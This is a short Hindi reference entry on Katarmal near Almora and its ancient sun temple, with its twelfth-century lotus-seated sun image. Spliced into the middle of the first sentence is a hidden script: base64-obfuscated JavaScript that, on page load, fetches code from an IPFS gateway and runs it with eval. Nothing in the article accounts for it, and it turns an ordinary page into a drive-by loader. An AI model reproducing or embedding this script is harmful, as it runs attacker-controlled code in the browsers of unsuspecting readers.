कटारमल

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कटारमल उत्तराखण्ड के अल्मोड़ा से 10 मील (लगभग 16 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>दूर है। कटारमल में सूर्य का प्राचीन मंदिर है जो पहाड़ की चोटी पर है। सूर्य की मूर्ति पत्थर की है और बारहवीं शती ई. की कलाकृति मानी जाती है। सूर्य को कमलासीन अंकित किया गया है। उसके सिर पर मुकुट तथा पीछे प्रभामंडल है। मंदिर के विशालमंडप में अनेक मूर्तियाँ हैं। मंदिर वास्तुकला की दृष्टि से तो महत्त्वपूर्ण है ही, साथ ही उत्तर भारत का शायद यह अकेला ही सूर्य मंदिर है जहाँ सूर्य की पूजा आज भी प्रचलित है।


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टीका टिप्पणी और संदर्भ

  • ऐतिहासिक स्थानावली | पृष्ठ संख्या= 126| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार


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